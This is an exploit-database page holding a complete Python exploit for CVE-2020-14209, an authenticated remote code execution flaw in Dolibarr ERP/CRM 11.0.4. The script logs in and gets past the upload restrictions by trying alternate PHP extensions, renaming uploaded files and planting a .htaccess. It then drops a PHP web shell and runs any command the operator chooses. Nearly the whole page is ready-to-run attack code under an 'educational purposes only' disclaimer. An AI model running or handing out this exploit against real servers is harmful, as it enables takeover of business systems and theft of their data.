Dolibarr erp/crm 11.0.4 file upload restrictions bypass (authenticated rce) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-03-25 | Type : webapps | Platform : php
This exploit / vulnerability Dolibarr erp/crm 11.0.4 file upload restrictions bypass (authenticated rce) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE)
# Date: 16/06/2020
# Exploit Author: Andrea Gonzalez
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr/dolibarr
# Version: Prior to 11.0.5
# Tested on: Debian 9.12
# CVE : CVE-2020-14209

#!/usr/bin/python3

# Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested.

import re
import sys
import random
import string
import argparse
import requests
import urllib.parse
from urllib.parse import urlparse

session = requests.Session()
base_url = "http://127.0.0.1/htdocs/"
documents_url = "http://127.0.0.1/documents/"
proxies = {}
user_id = -1

class bcolors:
BOLD = '\033[1m'
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'

def printc(s, color):
print(f"{color}{s}{bcolors.ENDC}")

def read_args():
parser = argparse.ArgumentParser(description='Dolibarr exploit - Choose one or more methods (extension-bypass, htaccess, file-renaming). If no method is chosen, every method is tested.')
parser.add_argument('base_url', metavar='base_url', help='Dolibarr base URL.')
parser.add_argument('-d', '--documents-url', dest='durl', help='URL where uploaded documents are stored (default is base_url/../documents/).')
parser.add_argument('-c', '--command', dest='cmd', default="id", help='Command to execute (default "id").')
parser.add_argument('-x', '--proxy', dest='proxy', help='Proxy to be used.')
parser.add_argument('--extension-bypass', dest='fbypass', action='store_true',
default=False,
help='Files with executable extensions are uploaded trying to bypass the file extension blacklist.')
parser.add_argument('--file-renaming', dest='frenaming', action='store_true',
default=False,
help='A PHP script is uploaded and .php extension is added using file renaming function.')
parser.add_argument('--htaccess', dest='htaccess', action='store_true',
default=False,
help='Apache .htaccess file is uploaded so files with .noexe extension can be executed as a PHP script.')
required = parser.add_argument_group('required named arguments')
required.add_argument('-u', '--user', help='Username', required=True)
required.add_argument('-p', '--password', help='Password', required=True)
return parser.parse_args()

def error(s, end=False):
printc(s, bcolors.HEADER)
if end:
sys.exit(1)

"""
Returns user id
"""
def login(user, password):
data = {
"actionlogin": "login",
"loginfunction": "loginfunction",
"username": user,
"password": password
}
login_url = urllib.parse.urljoin(base_url, "index.php")
r = session.post(login_url, data=data, proxies=proxies)
try:
regex = re.compile(r"user/card.php\?id=(\d+)")
match = regex.search(r.text)
return int(match.group(1))
except Exception as e:
#error(e)
return -1

def upload(filename, payload):
files = {
"userfile": (filename, payload),
}
data = {
"sendit": "Send file"
}
headers = {
"Referer": base_url
}
upload_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
session.post(upload_url, files=files, headers=headers, data=data, proxies=proxies)

def delete(filename):
data = {
"action": "confirm_deletefile",
"confirm": "yes",
"urlfile": filename
}
headers = {
"Referer": base_url
}
delete_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
session.post(delete_url, headers=headers, data=data, proxies=proxies)

def rename(filename, new_filename):
data = {
"action": "renamefile",
"modulepart": "user",
"renamefilefrom": filename,
"renamefileto": new_filename,
"renamefilesave": "Save"
}
headers = {
"Referer": base_url
}
rename_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
session.post(rename_url, headers=headers, data=data, proxies=proxies)

def test_payload(filename, payload, query, headers={}):
file_url = urllib.parse.urljoin(documents_url, "users/%d/%s?%s" % (user_id, filename, query))
r = session.get(file_url, headers=headers, proxies=proxies)
if r.status_code != 200:
error("Error %d %s" % (r.status_code, file_url))
elif payload in r.text:
error("Non-executable %s" % file_url)
else:
printc("Payload was successful! %s\nOutput: %s" % (file_url, r.text.strip()), bcolors.OKGREEN)
return True
return False

def get_random_filename():
return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))

def upload_executable_file_php(payload, query):
php_extensions = [".php", ".pht", ".phpt", ".phar", ".phtml", ".php3", ".php4", ".php5", ".php6", ".php7"]
random_filename = get_random_filename()
b = False
for extension in php_extensions:
filename = random_filename + extension
upload(filename, payload)
if test_payload(filename, payload, query):
b = True
return b

def upload_executable_file_ssi(payload, command):
filename = get_random_filename() + ".shtml"
upload(filename, payload)
return test_payload(filename, payload, '', headers={'ACCEPT': command})

def upload_and_rename_file(payload, query):
filename = get_random_filename() + ".php"
upload(filename, payload)
rename(filename + ".noexe", filename)
return test_payload(filename, payload, query)

def upload_htaccess(payload, query):
filename = get_random_filename() + ".noexe"
upload(filename, payload)
filename_ht = get_random_filename() + ".htaccess"
upload(filename_ht, "AddType application/x-httpd-php .noexe\nAddHandler application/x-httpd-php .noexe\nOrder deny,allow\nAllow from all\n")
delete(".htaccess")
rename(filename_ht, ".htaccess")
return test_payload(filename, payload, query)

if __name__ == "__main__":
args = read_args()
base_url = args.base_url if args.base_url[-1] == '/' else args.base_url + '/'
documents_url = args.durl if args.durl else urllib.parse.urljoin(base_url, "../documents/")
documents_url = documents_url if documents_url[-1] == '/' else documents_url + '/'
user = args.user
password = args.password
payload = "<?php system($_GET['cmd']) ?>"
payload_ssi = ''
command = args.cmd
query = "cmd=%s" % command
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}

user_id = login(user, password)
if user_id < 0:
error("Login error", True)
printc("Successful login, user id found: %d" % user_id, bcolors.OKGREEN)
print('-' * 30)
if not args.fbypass and not args.frenaming and not args.htaccess:
args.fbypass = args.frenaming = args.htaccess = True

if args.fbypass:
printc("Trying extension-bypass method\n", bcolors.BOLD)
b = upload_executable_file_php(payload, query)
b = upload_executable_file_ssi(payload_ssi, command) or b
if b:
printc("\nextension-bypass was successful", bcolors.OKBLUE)
else:
printc("\nextension-bypass was not successful", bcolors.WARNING)
print('-' * 30)
if args.frenaming:
printc("Trying file-renaming method\n", bcolors.BOLD)
if upload_and_rename_file(payload, query):
printc("\nfile-renaming was successful", bcolors.OKBLUE)
else:
printc("\nfile-renaming was not successful", bcolors.WARNING)
print('-' * 30)
if args.htaccess:
printc("Trying htaccess method\n", bcolors.BOLD)
if upload_htaccess(payload, query):
printc("\nhtaccess was successful", bcolors.OKBLUE)
else:
printc("\nhtaccess was not successful", bcolors.WARNING)
print('-' * 30)